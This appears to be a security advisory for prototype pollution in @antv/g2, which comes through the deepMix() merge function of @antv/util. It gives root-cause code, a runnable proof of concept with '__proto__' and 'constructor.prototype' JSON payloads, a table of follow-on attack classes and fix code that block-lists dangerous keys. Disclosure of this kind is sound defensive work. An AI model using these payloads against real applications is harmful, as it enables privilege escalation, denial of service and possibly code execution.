Prototype Pollution via @antv/util deepMix() — affects @antv/g2 chart configuration
Prototype Pollution in @antv/g2 via @antv/util deepMix()
Summary
@antv/g2 (<= 5.4.8) is vulnerable to Prototype Pollution through its dependency @antv/util's deepMix() function, which is used extensively throughout the codebase (78+ source files) to merge chart options and configurations.
- CWE: CWE-1321 — Improperly Controlled Modification of Object Prototype Attributes
- Severity: Critical (CVSS 9.8)
- Weekly Downloads: ~248,000 (
@antv/g2) / ~651,000 (@antv/util) - npm: https://www.npmjs.com/package/@antv/g2
Root Cause
@antv/util's deepMix() (lib/lodash/deep-mix.js) performs recursive deep merge without filtering __proto__, constructor, or prototype keys:
function _deepMix(dist, src, ...) {
for (var key in src) {
if (hasOwn(src, key)) { // ← passes for JSON.parse'd __proto__
var value = src[key];
if (isPlainObject(value)) {
if (isPlainObject(dist[key])) {
// Recurse INTO dist[key]
_deepMix(dist[key], value); // ← when key="__proto__", dist[key] = Object.prototype
} else {
dist[key] = _deepMix({}, value);
}
} else {
dist[key] = value;
}
}
}
}No __proto__ key filtering exists anywhere in this function.
Why This Is Vulnerable — Step by Step
1. Attacker input: JSON.parse('{"__proto__":{"polluted":"yes"}}')
→ "__proto__" is an OWN ENUMERABLE property on the parsed object
→ hasOwn(src, "__proto__") returns TRUE
2. isPlainObject(src["__proto__"]) → TRUE (it's {polluted:"yes"})
3. dist["__proto__"] resolves to Object.prototype (via the accessor on plain {})
→ isPlainObject(Object.prototype) → TRUE
(because Object.getPrototypeOf(Object.prototype) === null,
and the function treats null-prototype objects as plain objects)
4. Recursive call: _deepMix(Object.prototype, {"polluted":"yes"})
→ Object.prototype["polluted"] = "yes"
→ POLLUTION COMPLETE
5. Every {} object in the Node.js process now has .polluted === "yes"Why hasOwn doesn't help
hasOwn(src, "__proto__") returns true because JSON.parse creates __proto__ as a regular own enumerable property, not the prototype accessor. This is standard V8/Node.js behavior.
Why isPlainObject doesn't help
isPlainObject(Object.prototype) returns true because the check finds that Object.getPrototypeOf(Object.prototype) === null, which matches its definition of "plain object". This means the guard never resets dist["__proto__"] to a fresh {}, and the code descends directly into Object.prototype.
How @antv/g2 Is Affected
@antv/g2 imports and calls deepMix in 78+ source files for merging:
- Chart options:
new Chart(deepMix({}, defaults, userOptions)) - Mark configuration: mark options merged via
deepMix - Interaction config: interaction options merged via
deepMix - Transform options: data transform settings merged via
deepMix - Theme config: theme objects merged via
deepMix
Any code path that accepts external JSON and passes it to chart configuration is exploitable:
const { Chart } = require('@antv/g2');
// Attacker-controlled chart config (e.g., from API response, user input)
const maliciousConfig = JSON.parse('{"__proto__":{"polluted":"yes"}}');
// This triggers deepMix internally
const chart = new Chart({
container: 'chart',
...maliciousConfig,
});
// All objects in the process are now polluted
console.log({}.polluted); // "yes"Proof of Concept
const { deepMix } = require('@antv/util');
// Before
console.log({}.polluted); // undefined
// Pollute via deepMix
const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
deepMix({}, payload);
// After — ALL objects are polluted globally
const obj = {};
console.log(obj.polluted); // "yes"
console.log(new Object().polluted); // "yes"
// Also works via constructor.prototype path
deepMix({}, JSON.parse('{"constructor":{"prototype":{"hacked":"true"}}}'));
console.log({}.hacked); // "true"Impact
Successful prototype pollution via chart configuration enables:
| Attack | Mechanism |
|---|---|
| Remote Code Execution | Pollute shell, env, or template engine options → child_process.exec |
| Authentication Bypass | Inject isAdmin: true, role: "admin" into user/session objects |
| Denial of Service | Override toString, valueOf, hasOwnProperty → crash all object operations |
| SQL Injection | Pollute query builder parameters ($where, $gt) |
| SSRF | Inject hostname, port, protocol into HTTP client configs |
| XSS | Inject HTML/JS via polluted template variables |
| Path Traversal | Pollute path, basedir in file system operations |
| CORS Bypass | Inject Access-Control-Allow-Origin via polluted header configs |
Remediation
Option 1: Fix in @antv/util (recommended — fixes all dependents)
Add key filtering in deepMix:
const BLOCKED = new Set(['__proto__', 'constructor', 'prototype']);
function _deepMix(dist, src, ...) {
for (var key in src) {
if (BLOCKED.has(key)) continue; // ← ADD THIS
if (hasOwn(src, key)) {
// ... rest of logic
}
}
}Option 2: Fix in @antv/g2 (workaround)
Sanitize user input before passing to chart constructors:
function sanitize(obj) {
if (!obj || typeof obj !== 'object') return obj;
const clean = {};
for (const key of Object.keys(obj)) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
clean[key] = typeof obj[key] === 'object' ? sanitize(obj[key]) : obj[key];
}
return clean;
}References
Source: antvis/G2